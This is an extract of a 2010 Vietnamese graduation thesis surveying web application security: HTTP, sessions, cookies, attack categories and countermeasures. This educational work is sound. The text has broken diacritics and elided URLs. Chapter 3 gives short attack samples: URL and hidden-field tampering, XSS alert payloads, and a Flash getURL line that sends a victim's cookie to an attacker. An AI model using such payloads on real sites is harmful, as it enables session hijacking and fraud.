Tải bản đầy đủ (.doc) (31 trang)

Nghiên cứu một số vấn đề bảo mật ứng dụng web

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (673.56 KB, 31 trang )

Trờng đại học vinh
Khoa công nghệ thông tin

Trần văn quế

Nghiên cứu một số vấn đề bảo mật ứng dụng web

đồ án tốt nghiệp đại học
kỹ s công nghệ thông tin

Vinh - 2010


Đồ án tốt nghiệp
web

Nghiên cứu một số vấn đề bảo mật ứng dụng

Lời nói đầu
Trong công cuộc đổi mới không ngừng của khoa học kỹ thuật công nghệ,
nhiều lĩnh vực đã và đang phát triển vợt bậc đặc biệt là lĩnh vực công nghệ thông
tin. Mạng máy tính đợc hình thành từ nhu cầu muốn chia sẻ tài nguyên và dùng
chung nguồn dữ liệu. Nếu không có hệ thống mạng, dữ liệu phải đợc in ra giấy
thì ngời khác mới có thể hiệu chỉnh và sử dụng đợc hoặc chỉ có thể sao chép lên
thiết bị lu trữ khác do đó tốn nhiều thời gian và công sức.
Khi ngời làm việc ở môi trờng độc lập mà nối máy tính của mình với máy
tính của nhiều ngời khác, thì ta có thể sử dụng trên các máy tính khác và cả máy
in. Mạng máy tính đợc các tổ chức sử dụng chủ yếu để chia sẻ, dùng chung tài
nguyên và cho phép giao tiếp trực tuyến bao gồm gửi và nhận thông điệp hay th
điện tử, giao dịch, thơng mại điện tử, tìm kiếm thông tin trên mạng. Chính vì
những vai trò rất quan trọng của mạng máy tính với nhu cầu của cuộc sống con


ngời, bằng những kiến thức đã đợc học ở trờng chúng em đã chọn đồ án: Nghiên
cứu một số vấn đề bảo mật Web. Với nội dung chính đợc đề cập và nghiên cứu
trên mô hình mạng LAN (Local Area Network mạng nội bộ) và quản trị th
điện tử nội bộ với phần mềm Microsoft Exchange Server 2003.
Do thời gian và kiến thức có hạn nên bài viết còn hạn chế, rất mong đợc sự
góp ý của các Thầy Cô giáo và em xin chân thành cảm ơn thầy giáo TS: Nguyễn
Trung Hoà đã tận tình giúp đỡ để em hoàn thành đồ án này.
Xin trân trọng cảm ơn!

Sinh viên thực hiện:

Trần Văn Quế

2


Đồ án tốt nghiệp
web

Nghiên cứu một số vấn đề bảo mật ứng dụng

Nghiên cứu một số vấn đề về bảo mật ứng dụng web
Nh ta đã biết hiện nay, khái niệm mạng toàn cầu - Internet không còn mới
mẻ. Nó đã trở nên phổ biến tới mức không cần phải chú giải gì thêm trong những
tạp chí kỹ thuật, còn trên những tạp chí khác thì tràn ngập những bài viết dài,
ngắn về Internet. Khi những tạp chí thông thờng chú trọng vào Internet thì giờ
đây, những tạp chí kỹ thuật lại tập trung vào khía cạnh khác: an toàn thông tin.
Đó cùng là một quá trình tiến triển hợp logic: khi những vui thích ban đầu về
một siêu xa lộ thông tin, bạn nhất định nhận thấy rằng không chỉ cho phép bạn
truy nhập vào nhiều nơi trên thế giới, Internet còn cho phép nhiều ngời không

mời mà tự ý ghé thăm máy tính của bạn.
Thực vậy, Internet có những kỹ thuật tuyệt vời cho phép mọi ngời truy nhập,
khai thác, chia sẻ thông tin. Nhng nó cũng là nguy cơ chính dẫn đến thông tin
của bạn bị h hỏng hoặc phá huỷ hoàn toàn.
Theo số liệu của CERT(Computer Emegency Response Team - Đội cấp cứu
máy tính), số lợng các vụ tấn công trên Internet đợc thông báo cho tổ chức này
là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và
2241 vào năm 1994. Những vụ tấn công này nhằm vào tất cả các máy tính có
mặt trên Internet, các máy tính của tất cả các công ty lớn nh AT&T, IBM, các
trờng đại học, các cơ quan nhà nớc, các tổ chức quân sự, nhà băng... Một số vụ
tấn công có quy mô khổng lồ (có tới 100.000 máy tính bị tấn công). Hơn nữa,
những con số này chỉ là phần nổi của tảng băng. Một phần rất lớn các vụ tấn
công không đợc thông báo, vì nhiều lý do, trong đó có thể kể đến nỗi lo bị mất
uy tín, hoặc đơn giản những ngời quản trị hệ thống không hề hay biết những
cuộc tấn công nhằm vào hệ thống của họ.

Sinh viên thực hiện:

Trần Văn Quế

3


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
CHƯƠNG 1. GIớI THIệU ứNG DụNG WEB
1. Khái niệm ứng dụng Web (Web Application)
ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tơng tác
với ngời dùng hay hệ thống khác.

Trình khách dành cho ngời sử dụng thờng là một trình duyệt web nh IE,
Netcape Navigator. Ngời dùng gửi và nhận các thông tin từ trình chủ thông qua
việc tác động vào các trang web. Các chơng trình có thể là các trang thông tin,
trao đổi mua bán, các diễn đàn, gửi nhận email.
Tốc độ phát triển của các ứng dụng web rất nhanh, ngày nay Web thờng đợc viết
bằng các ngôn ngữ Java hay các ngôn ngữ tơng tự và chạy trên máy chủ phân
tán, kết nối đến nhiều nguồn dữ liệu.
Một ứng dụng web thờng có kiến trúc gồm:

- Lớp trình bày: Lớp có nhiệm vụ hiển thị dữ liệu cho ngời dùng, ngoài ra
còn có thể có thêm các ứng dụng tạo bố cục cho trang web.
- Lớp ứng dụng: là nơi xử lý của ứng dụng web, nó sẽ xử lý thông tin ngời
dùng yêu cầu, đa ra quyết định, gửi kết quả đến lớp trình bày. lớp này thờng đợc cài đặt bằng các ngôn ngữ Java, NET, ASP, PHP đợc triển khai
trên các trình chủ nh IBM, Apache,IIS.
- Lớp dữ liệu: thờng là các hệ quản trị cơ sở dữ liệu(DBMS) chịu trách
nhiệm quản lý các file dữ liệu và quyền sử dụng.
Mô hình hoá của một ứng dụng web.

Sinh viên thực hiện:

Trần Văn Quế

4


Đồ án tốt nghiệp
web

Nghiên cứu một số vấn đề bảo mật ứng dụng


Trong đó:
- Trình khách( hay còn gọi là trình duyệt): IE, NN..
- Trình chủ: Apache, IIS
- Hệ quản trị cơ sở dữ liệu: SQL server, My SQL, DB2, Access
2. Mô tả hoạt động của một ứng dụng web
Đầu tiên trình duyệt sẽ gửi một yêu cầu đến trình chủ web thông qua các lệnh
cơ bản GET, POST của giao thức HTTP, trình chủ lúc này có thể cho thực thi
một chơng trình đợc xây dựng từ nhiều ngôn ngữ khác nhau hoặc trình chủ yêu
cầu bộ diễn dịch thực thi các trang ASP, PHP theo yêu cầu của trình khách.
Tuỳ theo các tác vụ của chơng trình đợc cài đặt mà nó xử lý, tính toán kết nối
đến cơ sở dữ liệu, lu thông tin do trình khách gửi đếnvà từ đó trả về cho trình
khách 1 luồng dữ liệu có định dạng theo giao thức HTTP nó gồm 2 phần:
- Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao
đổi giữa trình duyệt và Webserver.
- Body là phần nội dung dữ liệu mà server gửi về client, nó có thể là một
file HTML, một hình ảnh, một đoạn phim hay một trang tài liệu.
3. Các vấn đề về bảo mật Web
Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, nh vấn
đề bảo mật trong ứng dụng Web vẫn không ngừng tăng lên. Nguyên nhân có thể
xuất phát từ các đoạn mã không phù hợp. Nhiều điểm yếu nghiêm trọng hay các
lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách lấy
Sinh viên thực hiện:

Trần Văn Quế

5


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng

web
dữ liệu nhạy cảm. Nhiều cơ sở dữ liệu chứa thông tin giá trị (nh chi tiết cá nhân,
thông tin tài chính) khiến chúng trở thành đích nhắm thờng xuyên của hầu hết
hacker.
Một cuộc nghiên cứu gần đây chỉ ra rằng 75% các cuộc tấn công mạng đợc
thực hiện ở mức ứng dụng Web.
Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp
dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và
nhiều ngời liên quan khác.
Tờng lửa, SLL không thể bảo vệ ứng dụng Web trớc mọi hoạt động hacking,
đơn giản vì truy cập vào Website phải để ở chế độ public để bất kỳ ai cũng có
thể ghé thăm Website đợc. Tất cả hệ thống cơ sở dữ liệu hiện đại (nh
Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập qua một số cổng
cụ thể (nh cổng 80, 433). Nếu muốn, một ngời nào đó có thể kết nối trực tiếp
tới cơ sở dữ liệu một cách hiện quả khi vợt qua cơ chế bảo mật của hệ điều
hành. Các cổng này để mở nhằm cho phép liên lạc với hoạt động giao thông
mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn nguy hiểm.
Các ứng dụng Web thờng truy cập dữ liệu cuối nh cơ sở dữ liệu khách hàng,
điểu khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an toàn.
Hầu hết ứng dụng Web đều là tự tạo, do đó ít có đợc các kiểm tra trình độ
hơn so với các phần mềm cùng loại. Do đó các ứng dụng tùy biến thờng dễ bị
tấn công hơn.
Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất là
các ứng dụng tùy biến. Chúng không đợc phát triển với mức bảo mật tốt nhất vì
không phải qua các kiểm tra bảo mật thông thờng.

Sinh viên thực hiện:

Trần Văn Quế


6


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
CHƯƠNG 2. GIớI THIệU SƠ LƯợC Về CáC Kỹ THUậT TấN CÔNG
ứNG DụNG WEB
1. CáC KHáI NIệM THUậT NGữ LIÊN QUAN
1.1. Hacker
Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống
mạngHacker thờng là những chuyên gia về máy tính. Hacker không tạo ra các
kẽ hở cho hệ thống, nhng hacker lại là những ngời am hiểu về hệ điều hành, hệ
quản trị cơ sở dữ liệu, các ngôn ngữ lập trìnhHọ sử dụng kiến thức của mình
trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng. Một số hacker chỉ
dừng lại ở việc phát hiện và thông báo lỗi tìm đợc cho những nhà bảo mật hay
ngời phát triển chơng trình, họ đợc xem nh là WhiteHat (Hacker nón trắng). Một
số hacker dựa vào những lỗ hổng thực hiện việc khai thác trái phép nhằm mục
đích phá hoại hay mu lợi riêng, những ngời này bị xem nh là BlackHat( Hacker
nón đen).
Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, sẽ sử
dụng hacker thay cho kẻ tấn công.
1.2. HTTP Header
HTTP Header là phần đầu (header) của thông tin mà trình khách và trình chủ
gửi cho nhau. Những thông tin trình khách gửi cho trình chủ đợc gọi là HTTP
requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời).
Thông thờng, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và
giá trị. Một số tham số có thể đợc dùng trong cả header yêu cầu và header trả lời,
một số khác thì chỉ đợc dùng riêng trong từng loại. Ví dụ:
Header yêu cầu:

Get /tintuc/homnay.asp HTTP/1.1
Accept: */*
Accept-Language: en-us
Connection: Keep-Alive
Host: localhost
Referer: http://localhost/lienket.asp
Sinh viên thực hiện:

Trần Văn Quế

7


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0}
Accept-Encoding: gzip, deflate
o Dòng đầu là dòng yêu cầu cho biết phơng thức yêu cầu (GET hoặc
POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP
(HTTP/1.1)
o Tiếp theo là các tham số. Chẳng hạn nh:
Accept-Language: Cho biết ngôn ngữ dùng trong trang web.
Host: Cho biết địa chỉ máy chủ.
Referer: Cho biết địa chỉ của trang web tham chiếu tới.
o Header của HTTP request sẽ kết thúc bằng một dòng trống.
Header trả lời:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 13 Jul 2000 05:46:53 GMT

Content-Length: 2291
Content-Type: text/html
Set-cookie:
ASPSESSIONIDQQGGGNCC=LKLDFFKCINFLDMFHCBCBMFLJ;
Path=/
Cache-control: private
<HTML>
<BODY>

o Dòng đầu là dòng trạng thái để cho biết phiên bản HTTP đợc dùng
(HTTP/1.1), mã trạng thái (200) và trạng thái (OK).
o Tiếp theo là các tham số.
o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là
phần thân của HTTP response.

Sinh viên thực hiện:

Trần Văn Quế

8


Đồ án tốt nghiệp
web

Nghiên cứu một số vấn đề bảo mật ứng dụng

1.3. Session
HTTP là giao thức hớng đối tợng tổng quát, phi trạng thái, nghĩa là HTTP
không lu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này

gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết đợc trớc đó
trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng
dụng Web đa ra một khái niệm phiên làm việc (Session). Còn SessionID là một
chuỗi để chứng thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID
cho ngời dùng khi họ xem trang web trên trình chủ.
Để duy trì phiên làm việc thì sessionID thờng đợc lu vào:
Biến trên URL
Biến ẩn Form
Cookie.
1.4. Cookie
Cookie là những phần dữ liệu nhỏ có cấu trúc đợc chia sẻ giữa website và
browser của ngời dùng. Cookies đợc lu trữ dới những file dữ liệu nhỏ dạng text
(size dới 4k). Chúng đợc các site tạo ra để lu trữ/truy tìm/nhận biết các thông tin
về ngời dùng đã ghé thăm site và những vùng họ đi qua trong site.
Những thông tin này có thể bao gồm tên/định danh ngời dùng, mật khẩu, sở
thích, thói quenCookie đợc browser của ngời dùng chấp nhận lu trên đĩa cứng
của máy mình, không phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập
vào site, những thông tin về ngời dùng đợc lu trữ trong cookie. ở những lần truy
cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (nh
thông tin liên quan đến việc đăng nhập vào 1 forum) mà ngời sử dụng không
phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt
ra là có nhiều site quản lý việc dùng lại các thông tin trong cookie không chính
xác, kiểm tra không đầy đủ hoặc mã hóa các thông tin trong cookie còn sơ hở
giúp cho hacker khai thác để vợt qua cách cửa đăng nhập, đoạt quyền điều khiển
site.

Sinh viên thực hiện:

Trần Văn Quế


9


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Cookies thờng có các thành phần sau :
+ Tên: do ngời lập trình web site chọn
+ Domain: là tên miền từ server mà cookie đợc tạo và gửi đi
+ Đờng dẫn: thông tin về đờng dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã
hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trng đợc web server lu trữ để nhận dạng
về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn
trong khoảng 4k.
1.5. Proxy
Proxy cung cấp cho ngời sử dụng truy xuất Internet những nghi thức đặc biệt
hoặc một tập những nghi thức thực thi trên dual_homed host hoặc bassion host.
Những chơng trình client của ngời sử dụng sẽ qua trung gian proxy server thay
thế cho server thật sự mà ngời sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay
không đáp ứng, nếu yêu cầu đợc đáp ứng, proxy server sẽ kết nối với server thật
thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng
nh trả lời của server đến client. Vì vậy proxy server giống cầu nối trung gian
giữa server và client.
2. GIớI THIệU SƠ LƯợC CáC Kỹ THUậT TấN CÔNG
Sau đây là các khái niệm sơ lợc các kĩ thuật tấn công ứng dụng Web đã đợc
phân loại dựa trên mức độ gây tác hại đối với ứng dụng.
2.1. Kiểm soát truy cập web (Web access control)

Thâm nhập hệ thống qua cửa sau (Back door)
Trong quá trình thiết kế ứng dụng, những ngời phát triển ứng dụng có thể cài
một cửa sau (back door) để sau này có thể thâm nhập vào hệ thống một cách
dễ dàng.
2.2. Chiếm hữu phiên làm viêc
ấn định phiên làm việc (Session Fixation)
Sinh viên thực hiện:

Trần Văn Quế

10


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Là kĩ thuật tấn công cho phép hacker mạo danh ngời dùng hợp lệ bằng
cách gửi một session ID hợp lệ đến ngời dùng, sau khi ngời dùng đăng
nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm
nhiên trở thành ngời dùng hợp lệ
Đánh cắp phiên làm việc (Session Hijacking)
Là kĩ thuật tấn công cho phép hacker mạo danh ngời dùng hợp lệ sau khi
nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ
đợc lu trữ trong cookie hay tham số URL, biến ẩn của form.
2.3. Lợi dụng các thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input
validation)
Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho
hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.
Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt
(Client-side validation)

Do ngôn ngữ phía trình duyệt (JavaScript, VBScrip ) đ ợc thực thi trên
trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự
kiểm tra
Tràn bộ đệm (Buffer OverFlow)
Một khối lợng dữ liệu đợc gửi cho ứng dụng vợt quá lợng dữ liệu đợc cấp
phát khiến cho ứng dụng không thực thi đợc câu lệnh dự định kế tiếp mà
thay vào đó phải thực thi một đoạn mã bất kì do hacker đa vào hệ thống.
Nghiêm trọng hơn nếu ứng dụng đợc cấu hình để thực thi với quyền root
trên hệ thống.
Mã hóa URL (URL Encoding)
Lợi dụng chuẩn mã hóa những kí tự đặc biệt trên URL mà hacker sẽ mã
hóa tự động những kí tực bất hợp lệ - những kí tự bị kiểm tra bằng ngôn
ngữ kịch bản để vợt qua vòng kiểm soát này.
Kí tự Meta (Meta-characters)

Sinh viên thực hiện:

Trần Văn Quế

11


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Sử dụng những kí tự đặc biệt hacker có thể chèn thêm vào dữ liệu gửi
những kí tự trong chuỗi câu lệnh nh <script> trong kĩ thuật XSS, trong
SQL injectionđể thực thi câu lệnh.
Chèn câu truy vấn SQL (SQL Injection)
Trong lập trình với cơ sở dữ liệu, ngời lập trình đã sai sót trong vấn đề

kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu
truy vấn hay những giá trị không hợp lệ để đăng nhập vào hệ thống.
Ngôn ngữ phía máy chủ (Server side includes)
Là khả năng thêm vào những câu lệnh thuộc hệ thống nh nhúng file
(include file), truy xuất cơ sở dữ liệukhiến cho hacker có cơ hội truy
xuất đến file, cơ sở dữ liệumà bình th ờng không thể xem đợc trên
website.
Kí tự rỗng (Null characters)
Lợi dụng chuỗi kí tự thờng kết thúc bằng \0 mà hacker thờng thêm vào để
đánh lừa ứng dụng vì với những ứng dụng sử dụng chơng trình CGI nh C+
+ thì C++ cho rằng \0 là dấu kết thúc chuỗi.
Ví dụ: Hacker thêm chuỗi sau:
Ô nhập: . \0<script>alert(document.cookie)</script>
Nếu ứng dụng sử dụng chơng trình C++ để kiểm tra tính đúng đắn của
chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhận biết \0 là kết thúc chuỗi nên
không kiểm tra đoạn sau
Thao tác trên tham số truyền (Parameter manipulation)
Những thông tin trao đổi giữa trình chủ và trình duyệt đợc lu trữ trong
những biến nh biến trên URL, biến ẩn form, cookieBởi vì việc kiểm soát
biến cha đợc quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị
biến để đánh cắp phiên làm việc của ngời dùng hay thay đổi giá trị một
món hàng
2.4. Để lộ thông tin
Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng nh
mã nguồn một trang Web hay tập tin chứa mật khẩu của ngời dùng trên hệ thống
Sinh viên thực hiện:

Trần Văn Quế

12



Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
luôn là mục tiêu của hacker. Ngoài ra những lời chú thích trong mã nguồn cũng
là nguồn thông tin hữu ích cho hacker.
Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng
dụng có tồn tại hay không.
Ví dụ:
.HTTP 200: Tập tin tồn tại
.HTTP 404: Tập tin không tồn tại
2.5. Từ chối dịch vụ (Denial of service DoS)
Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt,
không còn khả năng đáp ứng yêu cầu nữa. Loại tấn công này ảnh hởng đến nhiều
hệ thống, rất dễ thực hiện và lại rất khỏ bảo vệ hệ thống khỏi yêu cấu tấn công
DoS.

Sinh viên thực hiện:

Trần Văn Quế

13


Đồ án tốt nghiệp
web

CHƯƠNG 3.


Nghiên cứu một số vấn đề bảo mật ứng dụng

MộT Số Kĩ THUậT TấN CÔNG ứNG DụNG WEB

1. THAO TáC TRÊN THAM Số TRUYềN
Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên
cookie, URL hay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID,
SQL Injection, Buffer Overflowcũng cần dùng đến các tham số này để hoàn
thiện các bớc tấn công của hacker. Có thể nói tham số truyền là đầu mối cho mọi
hoạt động của hacker trong quá trình tấn công ứng dụng.
1.1. Thao tác trên URL
1.1.1 Khái niệm:
Khi nhập một form HTML thì kết quả sẽ đợc gửi đi theo hai cách: GET hay
POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong
chuỗi URL.
Ví dụ: Có một trang web ứng dụng cho phép thành viên đã đợc thay đổi mật
khẩu.
/>Với: Username là tên ngời cần thay đổi mật khẩu.
Newpass là mật khẩu mới cho username
Tuy nhiên, bằng cách thay đổi tham số nh sau:
/>Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì,
trong ví dụ này là 111111
Sinh viên thực hiện:

Trần Văn Quế

14


Đồ án tốt nghiệp

Nghiên cứu một số vấn đề bảo mật ứng dụng
web
1.1.2 Một số biện pháp khắc phục
Để chống lại kiểu thay đổi nội dung chuỗi URL, ứng dụng có thể áp dụng
biện pháp sau:
ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi ngời dùng chứng
thực thành công với một username, ứng dụng sẽ sinh ra một khóa tơng
ứng. Khóa này sẽ lu trên server cùng với biến username trong đối tợng
bảng băm. Mỗi khi nguời dùng kết nối đến ứng dụng, khóa và username
này sẽ đợc gửi đi và đợc so sánh với khóa username trong bảng băm. Nếu
tơng ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server
biết rằng ngời dùng đã thay đổi URL.
Ngoài ra, với những thông tin có giá trị, cần mã hóa thông tin này trớc khi
cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.
1.2. Thao tác trên biến ẩn form
1.2.1 Khái niệm
Thông tin có thể đợc chuyển đổi thông qua một biến ẩn form, gọi là Hidden
Form Field. Biến bẩn form không hiển thị trên màn hình trình duyệt nhng ngời
dùng có thể tìm thấy nội dung của nó trong view source, vì thế đây là một
điểm yếu để hacker lợi dụng bằng cách lu nội dung trang web xuống trình duyệt,
thay đổi nội dung trang và gửi đến trình chủ.
Ví dụ: Form gốc có nội dung nh sau:

<form action= method=POST>
<input type=hiden name=giaca value=99.99>
</form>
Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:
POST /cuahang.p1 HTTP/1.1
.......
Giaca=99.99

Nhng nếu hacker gán một giá trị khác cho trờng giaca:
<form action= method=POST>

Sinh viên thực hiện:

Trần Văn Quế

15


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
<input type=hiden name=giaca value=0.99>

</form>
Thì yêu cầu sẽ thay đổi:
POST /cuahang.p1 HTTP/1.1

Giaca=0.99
Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung
các thành phần trong form, nh chiều dài của một ô nhập dữ liệu để thực hiện việc
tấn công BUFFER OVERFLOW,
1.2.2 Một số biện pháp khắc phục
Chỉ nên sử dụng biến ẩn của form để hiện thị dữ liệu trên trình duyệt,
không đợc sử dụng giá trị của biến để thao tác trong xử lí ứng dụng.
Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến,
tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó,
vì vậy cũng không nên quá tin tởng vào biến HTTP_REFERER để kiểm
tra.

Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán
mã hóa MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và
lu nó vào một hidden field gọi là Chuỗi mẫu.
Khi giá trị trong form đợc gửi đi, các thao tác nh trên đợc thực hiện lại với
cùng một khóa mà ta định trớc. Sau đó đem so sánh với Chuỗi mẫu, nếu
chũng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi.
Dùng một sessionID để tham chiếu đến thông tin đợc lu trữ trên cơ sở dữ
liệu.
2. CHèN Mã LệNH THựC THI TRÊN TRìNH DUYệT NạN NHÂN
(CROSS-SITE SCRIPTING)
2.1. Cross-Site Scripting (XSS)

Sinh viên thực hiện:

Trần Văn Quế

16


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó
cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển
web và cả những ngời sử dụng web. Bất kì một website nào cho phép ngời sử
dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm
thì đều có thể tiềm ẩn các lỗi XSS
1. XSS là gì ?
Cross-Site Scripting hay còn đợc gọi tắt là XSS (thay vì gọi tắt là CSS để
tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn

công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ
HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những ngời sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết đợc viết bằng các Client-Site Script nh JavaScript, JScript, DHTML và cũng có
thể là cả các thẻ HTML.
Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến
nhất của Web Applications và mối đe doạ của chúng đối với ngời sử dụng ngày
càng lớn.
2. XSS hoạt động nh thế nào ?
Về cơ bản XSS cũng nh SQL Injection hay Source Injection, nó cũng là các
yêu cầu (request) đợc gửi từ các máy client tới server nhằm chèn vào đó các
thông tin vợt quá tầm kiểm soát của server. Nó có thể là một request đợc gửi từ
các form dữ liệu hoặc cũng có thể đó chỉ là các URL nh là
Code:
/>
was

found !')</script>

Với đoạn mã URL chèn vào nh trên rất có thể trình duyệt của bạn sẽ hiện lên
một thông báo "XSS was found !".
Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể
thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của
thẻ <script>. Cũng chính vì lẽ đó mà chúng ta cha thể lờng hết đợc độ nguy hiểm
của các lỗi XSS.
Sinh viên thực hiện:

Trần Văn Quế

17



Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Nhng nếu nh các kĩ thuật tấn công khác có thể làm thay đổi đợc dữ liệu nguồn
của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối
với website ở phía client mà nạn nhân trực tiếp là những ngời khách duyệt site
đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website
nhng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những
Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do
đó XSS không làm ảnh hởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS không ai khác chính là những ngời sử dụng khác của
website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các
hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay
nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các
loại virus, backdoor, worm ..
2.2. Tấn công XSS bằng flash
Ngoài những cách đa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng
những tập tin flash để đánh cắp thông tin.
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã đợc
xây dựng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tơng tự nh JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang
web khác, tham số thờng là một URL chẳng hạn nh .
getURL()
Tuy nhiên có thể thay thể URL bằng JavaScript:
getURL(javascript:alert(document.cookie))
Ví dụ trên sẽ làm xuất hiện bảng thông báo cha cookie của trang web chứa tập
tin flash đó. Nh vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn
JavaScript vào ứng dụng web thông qua tập tin flash. Một ví dụ khác rõ hơn về
cách tấn công này là:
Đây là đoạn lệnh trong tập tin flash và sẽ đợc thi hành khi tập tin flash đợc
đọc:

getURL(javascript:location(?
newcookie=+document.cookie))
Sinh viên thực hiện:

Trần Văn Quế

18


Đồ án tốt nghiệp
Nghiên cứu một số vấn đề bảo mật ứng dụng
web
Nh vậy là khi ngời dùng xem trang web chứa tập tin flash này thì ngay lập tức
cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.
2.3. Phát hiện XSS bằng cách nào?
Nếu nh chúng ta sử dụng các mã nguồn của các chơng trình có sẵn chúng ta
có thể tham khảo danh sách các lỗ hổng của chơng trình bạn trên các trang web
